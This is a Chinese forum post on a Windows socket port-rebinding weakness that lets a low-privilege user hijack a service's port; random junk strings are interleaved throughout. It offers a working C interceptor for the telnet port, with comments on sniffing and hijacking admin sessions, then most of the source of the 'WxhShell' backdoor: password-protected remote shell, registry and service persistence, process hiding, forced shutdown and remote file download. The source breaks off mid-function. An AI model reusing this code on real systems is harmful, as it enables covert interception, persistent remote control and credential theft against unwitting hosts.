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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &H1D!N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +g6j =%  
bM^A9BxD  
  saddr.sin_family = AF_INET; \a2oM$PX  
o:D BOpS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }8M`2HMFR  
kQd[E-b7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ** r?    
k^5R f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ""'eTpe  
Y"kS!!C>[  
  这意味着什么?意味着可以进行如下的攻击: u7zB9iQ&  
SE )j}go  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tc <M]4-  
\G=R hx f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |ak C  
(l8r>V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &IEBZB\/+&  
/B@% pq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~wf~b zs  
_@pf1d$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kqigFcz!Y  
&@utAuI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X,EYa>RSy_  
L +rySP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P9i9<pR  
vDeG20.?Z  
  #include H.8CwsfP  
  #include 9=~H6(m>  
  #include Gx_`|I{P  
  #include    x";.gjI |g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a]Da`$T  
  int main() uM)9b*Vbo  
  { n+\Cw`'<H  
  WORD wVersionRequested; ;=VK _3"  
  DWORD ret; ICCCCG*[  
  WSADATA wsaData; #1dTM-  
  BOOL val; B%rr}Ro1e  
  SOCKADDR_IN saddr; renmz,dJ,  
  SOCKADDR_IN scaddr; Be>c)90bO_  
  int err; EXW 6yXLV  
  SOCKET s; wJos'aTmE  
  SOCKET sc; k3/JQ]'D  
  int caddsize; xDA,?i;T 0  
  HANDLE mt; f+TBs_  
  DWORD tid;   JeTrMa2  
  wVersionRequested = MAKEWORD( 2, 2 ); Hrg=sR  
  err = WSAStartup( wVersionRequested, &wsaData ); -~O;tJF2  
  if ( err != 0 ) { e|5B1rMM  
  printf("error!WSAStartup failed!\n"); tct 5*.|  
  return -1; =PKt09b^  
  } ssX6kgq_(  
  saddr.sin_family = AF_INET; @)Hbgkdi  
   E}b> 7L&w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W3{<e"  
iWN.3|r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9CK\tx&  
  saddr.sin_port = htons(23); E0)mI)RW.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ),p]n  
  { v>y8s&/  
  printf("error!socket failed!\n"); @t; O"q'|  
  return -1; Hu9-<upc&  
  }  sx(l  
  val = TRUE; 9HNh*Gc=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fyg~KF}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5lHN8k=mm2  
  { Av v  
  printf("error!setsockopt failed!\n"); =O3I[  
  return -1; M,_^hm7  
  } j^$3vj5E[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JM+sHHs  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xH`j7qK.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iZ.&q 6  
kf^-m/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |Y8Mk2,s  
  { 0'%+X|  
  ret=GetLastError(); cfC;eRgq~  
  printf("error!bind failed!\n"); g3|Y$/J7P  
  return -1; ^E<~zO=Z  
  } Xs%R]KOwt  
  listen(s,2); {b-0_  
  while(1) # McK46B z  
  { X$uz=)  
  caddsize = sizeof(scaddr); N1+4bR  
  //接受连接请求 Bgk~R.l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9-a2L JI  
  if(sc!=INVALID_SOCKET) im4e!gRE  
  { gB{]yA"('  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^Z-. [Y  
  if(mt==NULL) $ gr6  
  { 0XR;5kd%  
  printf("Thread Creat Failed!\n"); W p7@  
  break; {? K|(C  
  } D,GPn%Wqi  
  } <r7qq$  
  CloseHandle(mt); #.MIW*==  
  } L.T gJv43  
  closesocket(s); ?HEtrX,q  
  WSACleanup(); p;n3`aVh  
  return 0; XC7Ty'#"KX  
  }   n $O.>  
  DWORD WINAPI ClientThread(LPVOID lpParam) +9 16ZPk  
  { qUEd E`B  
  SOCKET ss = (SOCKET)lpParam; "u Of~e"  
  SOCKET sc; JI+KS  
  unsigned char buf[4096]; ^:cb $9F  
  SOCKADDR_IN saddr; <i:*p1#Bm  
  long num; hyk|+z`B  
  DWORD val; H)j [eZP  
  DWORD ret; V`R)#G>IH%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e}](6"t`5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i3M?D}(Bs  
  saddr.sin_family = AF_INET; Pghva*&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AT%* ~tr  
  saddr.sin_port = htons(23); As6)_8w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M\\e e3Ih  
  { "UhK]i*@l  
  printf("error!socket failed!\n"); Z0()pT  
  return -1; Wk\mgGn+  
  } `Ct'/h{  
  val = 100; ;<bj{#mMv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "o^bN 9=  
  { nl)_`8=  
  ret = GetLastError(); C;d|\[7Z  
  return -1; NRHr6!f>  
  } r&%gjqt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BGlGpl  
  { Gs_*/E7,  
  ret = GetLastError(); 8m/FKO (r  
  return -1; hapB! ~M?  
  } HsjELbH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p@cfY]<7  
  { 5eiZs  
  printf("error!socket connect failed!\n"); PmPyb>HK=P  
  closesocket(sc); HO%E-5b9  
  closesocket(ss); 2d5}`>  
  return -1; 9:9N)cNvfX  
  } ?$30NK3G  
  while(1) .q5J^/kr  
  { 5 4ak<&?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r3+<r<gs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5YTb7M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *} *!+C3  
  num = recv(ss,buf,4096,0); QQ^Gd8nQ  
  if(num>0) L~*|,h  
  send(sc,buf,num,0); w|!YoMk+o  
  else if(num==0) nV!2Dfd  
  break; KAj"p9hq+k  
  num = recv(sc,buf,4096,0); _Hz~HoNU  
  if(num>0) ? -v  
  send(ss,buf,num,0); 3iu!6lC  
  else if(num==0) L\/u}]dPQ  
  break; SWNU1x{,c\  
  } 3o+KP[A  
  closesocket(ss); L?=#*4t  
  closesocket(sc); Hk<X  
  return 0 ; fs2m N1  
  } XPHQAo[(s  
T7>4 8eH  
YXczyZA`x  
========================================================== cPA~eZbX  
7.wR"1p#  
下边附上一个代码,,WXhSHELL wFK:Dp_^  
MuDFdbtR  
========================================================== io1S9a(y  
\]Y\P~n  
#include "stdafx.h" l 8O"w&  
:3111}>c  
#include <stdio.h> -kG3k> by_  
#include <string.h> (w5u*hx  
#include <windows.h> |Hx%f  
#include <winsock2.h> =8$|_  
#include <winsvc.h> m.1LxM$8  
#include <urlmon.h> 5xh!f%6  
D+| K%_Qq  
#pragma comment (lib, "Ws2_32.lib") HBt|}uZ?6i  
#pragma comment (lib, "urlmon.lib") ^-gfib|VGe  
_v1bTg"?  
#define MAX_USER   100 // 最大客户端连接数 -rE eKt  
#define BUF_SOCK   200 // sock buffer ljN zYg~-  
#define KEY_BUFF   255 // 输入 buffer *0=fT}&!  
Nc G,0K  
#define REBOOT     0   // 重启 1U717u  
#define SHUTDOWN   1   // 关机 T{_1c oL  
@PYW|*VS  
#define DEF_PORT   5000 // 监听端口 MC4284A5  
sx-EA&5-9k  
#define REG_LEN     16   // 注册表键长度 o `b`*Z  
#define SVC_LEN     80   // NT服务名长度 T&o,I  
B1|?RfCe  
// 从dll定义API xL9:4'I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9k+N3vA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8# 6\+R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X}3P1.n:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6P0y-%[Gk  
x7vq?fP0n  
// wxhshell配置信息 k%{ l4  
struct WSCFG { \9046An  
  int ws_port;         // 监听端口 JzHqNUn*M  
  char ws_passstr[REG_LEN]; // 口令 CkRyzF  
  int ws_autoins;       // 安装标记, 1=yes 0=no Xy:Gj, @  
  char ws_regname[REG_LEN]; // 注册表键名 /m97CC#+  
  char ws_svcname[REG_LEN]; // 服务名 6kP7   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *y)4D[ z-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [_j6cj]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (F/HU"C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2>\b:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {?w"hjy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xwn3+tSIa  
S  <2}8D  
}; yPSVwe|g  
Hr(6TLNw  
// default Wxhshell configuration 5i|s>pD4z1  
struct WSCFG wscfg={DEF_PORT, I%SuT7"Do  
    "xuhuanlingzhe", DLU[<! C  
    1, lco~X DI  
    "Wxhshell", #>BX/O*D  
    "Wxhshell", F|,6N/;!W  
            "WxhShell Service", g8KY`MBnC&  
    "Wrsky Windows CmdShell Service", FH4u$ g+  
    "Please Input Your Password: ", xtOx|FkYcl  
  1, n;%y  
  "http://www.wrsky.com/wxhshell.exe", 6*sw,sU[y  
  "Wxhshell.exe" l`DtiJ?$$0  
    }; Y=9qJ`q  
S)+CTVVE  
// 消息定义模块 UIQQ \,3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C9o$9 l+B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j]>=1Rd0b(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >o#ERNf  
char *msg_ws_ext="\n\rExit."; 4ffU;6~l'  
char *msg_ws_end="\n\rQuit."; ~xw5\Y^  
char *msg_ws_boot="\n\rReboot..."; ,`y yR:F  
char *msg_ws_poff="\n\rShutdown..."; K|US~Hgv  
char *msg_ws_down="\n\rSave to "; #hpIyy%n  
F#B5sLNb  
char *msg_ws_err="\n\rErr!"; |P>|D+I0  
char *msg_ws_ok="\n\rOK!"; U{"f.Z:Ydo  
%06vgjOa (  
char ExeFile[MAX_PATH]; ) 9MrdVNv  
int nUser = 0; F%Kp9I*  
HANDLE handles[MAX_USER]; Mxo6fn6-46  
int OsIsNt; h!v/s=8c  
'5AvT: ^u  
SERVICE_STATUS       serviceStatus; r?\|f:M3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )AJ=an||5  
wEE2a56L-  
// 函数声明 6p#g0t  
int Install(void); EA6t36|TX  
int Uninstall(void); +GYS26  
int DownloadFile(char *sURL, SOCKET wsh); W+.{4 K  
int Boot(int flag); te)n{K",  
void HideProc(void); 8`*`nQhWa  
int GetOsVer(void); \2j|=S6  
int Wxhshell(SOCKET wsl); BMdSf(l  
void TalkWithClient(void *cs); kff ZElV  
int CmdShell(SOCKET sock); BY$[g13  
int StartFromService(void); <FQFv IKg  
int StartWxhshell(LPSTR lpCmdLine); jP+ pA e  
;@9e\!%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G)8ChnJa!m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vnTq6:f#M  
kQIfYtT  
// 数据结构和表定义 Q70bEHLA  
SERVICE_TABLE_ENTRY DispatchTable[] = * MEe,4  
{ 9s(i`RTM  
{wscfg.ws_svcname, NTServiceMain}, [A]Ca$':  
{NULL, NULL} JD ]OIh  
}; %J _ymJ'pd  
i|S: s  
// 自我安装 g,=^'D  
int Install(void) b~*i91)\  
{ &L%Jy #=  
  char svExeFile[MAX_PATH]; PyFj@n  
  HKEY key; 'PpZ/ry$  
  strcpy(svExeFile,ExeFile); srK53vKMHW  
'y.JcS!|  
// 如果是win9x系统,修改注册表设为自启动 ab@=cL~^  
if(!OsIsNt) { wdwp9r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L7}i q0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nVXg,Jl  
  RegCloseKey(key); =T4u":#N;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tFiR!f)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3{e'YD~hP  
  RegCloseKey(key); iX%n0i  
  return 0; > ws!5q  
    } @cIgxp  
  } j=9ze op %  
} 2d8=h6  
else { O |WbFf  
pv&^D,H,  
// 如果是NT以上系统,安装为系统服务 _f|/*. @Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (ND%}  
if (schSCManager!=0) Z(; AyTXA  
{  HxIoA  
  SC_HANDLE schService = CreateService P6YQK+  
  ( B?3juyB`--  
  schSCManager, TF\sP8>V  
  wscfg.ws_svcname, 4mJFvDZV`  
  wscfg.ws_svcdisp, 88l,&2q  
  SERVICE_ALL_ACCESS, nP1GW6Pu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 76bc]o#  
  SERVICE_AUTO_START, Y@%`ZPJ  
  SERVICE_ERROR_NORMAL, n=o_1M|  
  svExeFile, J {tVa(.  
  NULL, qjAh6Q/E`  
  NULL, *ik/p  
  NULL, #tDW!Xv?  
  NULL, C ) ?uE'  
  NULL Kt6>L5:94  
  ); c`jDW S  
  if (schService!=0) % O%xpSYr  
  { YB5dnS"n  
  CloseServiceHandle(schService); 3D_"y Z  
  CloseServiceHandle(schSCManager); ah+j!e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cDeZMsV  
  strcat(svExeFile,wscfg.ws_svcname); utH%y\NMF|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S-!=NX&C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0 iR R{a<  
  RegCloseKey(key); "hPCQp`Tj  
  return 0; <lj\#'G3  
    } R ]P;sk5  
  } si(cOCj/  
  CloseServiceHandle(schSCManager); ($>XIb9f  
} [s}/nu~U  
} 8r^ ~0nm  
WYszk ,E  
return 1; Q7GY3X*kA  
} Qn|+eLY  
<2<87PU  
// 自我卸载 mCdgKr|n  
int Uninstall(void) d~Mg vh'  
{ i_ QcC  
  HKEY key; 78]gt J  
JJnYOau  
if(!OsIsNt) { jg_n7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E\$C/}T  
  RegDeleteValue(key,wscfg.ws_regname); S_\ F  
  RegCloseKey(key); Cj^{9'0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nIBFk?)6  
  RegDeleteValue(key,wscfg.ws_regname); >qh?L#Fk  
  RegCloseKey(key); F8=nhn  
  return 0; Cv^`&\[SW+  
  } _|zBUrN  
} Fo}7hab  
} _Y!sVJ){,c  
else { KDTDJ8  
CS@&^SEj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &=Y e6 f[  
if (schSCManager!=0) .:9s}%Z r  
{ o~1 Kp!U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F,T~\gO5,  
  if (schService!=0) 1*UN sEr  
  { LchnBtjn  
  if(DeleteService(schService)!=0) { ?KP}#>Ba@  
  CloseServiceHandle(schService); >|*yh~  
  CloseServiceHandle(schSCManager); 'jjb[{g^}}  
  return 0; $$1qF"GF  
  } gQouOjfP  
  CloseServiceHandle(schService); 33a uho  
  } L`[z[p {?  
  CloseServiceHandle(schSCManager); 79BaDB`{a  
} `.v(fC  
} s| -FH X  
( u`W!{1\  
return 1; HOZRYIQB  
} OYmi?y\  
8)wt$b  
// 从指定url下载文件 s9j7Psd  
int DownloadFile(char *sURL, SOCKET wsh) PDP[5q r  
{ "A[ b rG  
  HRESULT hr; >/^#Drwb!i  
char seps[]= "/"; UtJa3ya  
char *token; `78V%\  
char *file; .C bGDZ  
char myURL[MAX_PATH]; 1-VT}J(  
char myFILE[MAX_PATH]; fly,-$K>LO  
2R.2D'4)`  
strcpy(myURL,sURL); UVEz;<5@\  
  token=strtok(myURL,seps); J4aB Pq`  
  while(token!=NULL) q_t4OrLr=  
  { ?c#$dc"  
    file=token; ,pt%) c  
  token=strtok(NULL,seps); 8;"*6vHZ  
  } (^n*Am;zlH  
Q@QFV~  
GetCurrentDirectory(MAX_PATH,myFILE); s;1h-Oq (  
strcat(myFILE, "\\"); :&w{\-0{  
strcat(myFILE, file); jbte *Ae  
  send(wsh,myFILE,strlen(myFILE),0); n$["z w  
send(wsh,"...",3,0); %y<]Yzv.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jirbUl  
  if(hr==S_OK) glUo7^ay7  
return 0; nH[+n `{o  
else  ux-CpI  
return 1; ~<9{#uM  
B'weok  
} %f ju G  
z#Nl@NO&  
// 系统电源模块 F n|gVR  
int Boot(int flag) ]v29 Rx  
{ ~;#MpG;e  
  HANDLE hToken; |qN'P}L  
  TOKEN_PRIVILEGES tkp; C)RBkcb  
;<wS+4,  
  if(OsIsNt) { & >JDPB?5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KL?)akk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9NpD!A&64<  
    tkp.PrivilegeCount = 1; }1H=wg>\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KEr\nKT1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z)"61) )  
if(flag==REBOOT) { 0$vj!-Mb^j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5OP`c<  
  return 0; }_OM$nzj  
} f [o%hCS  
else { ,^'R_efY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y 'M#z_.z  
  return 0; ~H6;I$e[  
} v3RcwySk  
  } O&Z' r  
  else { cu7(.  
if(flag==REBOOT) { >^_ bD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [`_io>*g  
  return 0; 3I=kr  
} ljJ>;g+  
else { F} DUEDND*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x4K`]Fvhl  
  return 0; -w 6 "?  
} 9IZu$-  
} w YNloU  
Tupiq  
return 1; ;h/pnmhP  
} ;3ft1  
0~gO'*2P  
// win9x进程隐藏模块 ` $5UHa2/  
void HideProc(void)  u\e\'\  
{ WQePSU  
`)>7)={  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P9Q2gVGAO{  
  if ( hKernel != NULL ) )ZR+lX }  
  { E+xuWdp.*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i76 Yo5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |;vi*u  
    FreeLibrary(hKernel); ^CT&0  
  } }xb=<  
{U11^w1"3  
return; %Kb9tHg  
} C;B}3g&  
9uB(Mx(-:`  
// 获取操作系统版本 JWO=!^  
int GetOsVer(void) wzWbB2Mb5  
{ aw $L$7b}  
  OSVERSIONINFO winfo; ||B;o-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l5t2\Fl  
  GetVersionEx(&winfo); Ss ?CfRM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :VA.QrKW  
  return 1; ~%y@Xsot>  
  else -M5=r>1;  
  return 0; # '|'r+  
} 9ptFG]lZ  
'_0]vupvY  
// 客户端句柄模块 ?(zoTxD  
int Wxhshell(SOCKET wsl) Vy)hDa[&  
{ !sSQQo2Sv  
  SOCKET wsh; N+W&NlZ   
  struct sockaddr_in client; ~|+zJ5  
  DWORD myID; !>^JSHR4t  
E_ucab-Fi  
  while(nUser<MAX_USER) |Rzy8j*  
{ vP-M,4c  
  int nSize=sizeof(client); 2(YPz|~W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rw%l*xgX  
  if(wsh==INVALID_SOCKET) return 1; !$qKb_#nC  
|FR3w0o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]rBM5~  
if(handles[nUser]==0) VDEv>u4  
  closesocket(wsh); } /^C|iS7  
else  q" @  
  nUser++; `cB_.&  
  } 748CD{KxW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uZ6d35MJ  
/'DwfX  
  return 0; ww d'0P`/  
} 2h^WYpCm  
e&I t  
// 关闭 socket rJfqA@  
void CloseIt(SOCKET wsh) *gsAn<  
{ ZFh+x@  
closesocket(wsh); %i{;r35M;9  
nUser--; *e"a0  
ExitThread(0); cd@.zg'sYn  
} 8%{q%+  
!UBO_X%dz  
// 客户端请求句柄 V1=*z  
void TalkWithClient(void *cs) =H]F`[B=  
{ "kW!{n  
TJ@Cjy%  
  SOCKET wsh=(SOCKET)cs; -C7FuD[Xw  
  char pwd[SVC_LEN]; FcbM7/  
  char cmd[KEY_BUFF]; ph:3|d  
char chr[1]; Mio>{%/  
int i,j; [pOg'  
25{ uz  
  while (nUser < MAX_USER) { XFZ~ #DT&  
}2>"<)  
if(wscfg.ws_passstr) { qB6dFl\ (  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <|6%9@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0&Gl@4oZ"  
  //ZeroMemory(pwd,KEY_BUFF); E;\M1(\u  
      i=0; WV<tyx9Z  
  while(i<SVC_LEN) { 8s}J!/2  
zi]%Zp  
  // 设置超时 jh ez  
  fd_set FdRead; =ZYThfAEw  
  struct timeval TimeOut; N"5fmY<  
  FD_ZERO(&FdRead); +54aO  
  FD_SET(wsh,&FdRead); Tt# bg1  
  TimeOut.tv_sec=8; ;I6s-moq_  
  TimeOut.tv_usec=0; A/*%J74v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %"3 )TN4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~.tvrx g  
`d]Z)*9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \y Hen|%  
  pwd=chr[0]; Q%=YM4;  
  if(chr[0]==0xd || chr[0]==0xa) { $+= <(*  
  pwd=0; T8J4C=?/  
  break; haSM=;uPM  
  } Z)< wv&K  
  i++; !R{R??  
    } n[+'OU[  
$ACx*e%  
  // 如果是非法用户,关闭 socket "l~Ci7& !a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |cbd6e{!  
} ,32xcj}j)r  
U\<-mXv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T3J'fjY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ks(SjEF  
@|-OJ4[5  
while(1) { Qc-(*}  
;6;H*Y0,|E  
  ZeroMemory(cmd,KEY_BUFF); P~$< X  
 .jg0a  
      // 自动支持客户端 telnet标准   :> -1'HC  
  j=0; nL `9l1  
  while(j<KEY_BUFF) { I`B'1"{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iDb;_?  
  cmd[j]=chr[0]; xp \S2@<  
  if(chr[0]==0xa || chr[0]==0xd) { u</8w&!  
  cmd[j]=0; I+?hG6NM  
  break; rs8\)\z  
  } qk{'!Ii  
  j++; %HuyK  
    } f4t.f*#  
Un=a fX?j  
  // 下载文件 +Ghi}v  
  if(strstr(cmd,"http://")) { r#876.JK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w<wV]F*  
  if(DownloadFile(cmd,wsh)) `^F: -  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _2Zp1h,  
  else =yi OJyx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7qIB7_K5  
  } '&yg {n  
  else { Q\_{d0 0  
[[L-j q.'  
    switch(cmd[0]) { :R6Q=g=  
  F4I6P  
  // 帮助 85Y|CN] vQ  
  case '?': { X)Gp7k1w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ww9;UP'G  
    break; j BS4vvX?  
  } zQ)+/e(8  
  // 安装 Opg#*w%-  
  case 'i': { D,;\F,p  
    if(Install()) K'b*A$5o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H[&@}v,L  
    else 02b6s&L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pWaPC /,g  
    break; #a~"K|' G  
    } 'x%x'9OP  
  // 卸载 b)} +>Wx  
  case 'r': { 4MvC]_&  
    if(Uninstall()) Ej(2w Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h[Tk; h  
    else ] f 7#N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  -;c  
    break; 6SEltm(  
    } yY=<'{!  
  // 显示 wxhshell 所在路径 z/|BH^Vw  
  case 'p': { w9&#~k]5  
    char svExeFile[MAX_PATH]; RI.2F*|  
    strcpy(svExeFile,"\n\r"); bH9Le  
      strcat(svExeFile,ExeFile); 6].:.b\qQc  
        send(wsh,svExeFile,strlen(svExeFile),0); XAic9SNu;  
    break; R{}qK r  
    } :=.*I  
  // 重启 $[CA&Y.  
  case 'b': { l gq=GHW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p8>%Mflf  
    if(Boot(REBOOT)) &r_uQbx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TUTe9;)  
    else { |r =DBd3  
    closesocket(wsh); ExhL[1E  
    ExitThread(0); bKz{wm%  
    } 3VO:+mT  
    break; \HSicV#i  
    } z1j|E :  
  // 关机 szq+@2:  
  case 'd': { 4<gJ2a3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f\o R:%  
    if(Boot(SHUTDOWN)) /&s}<BMHU  
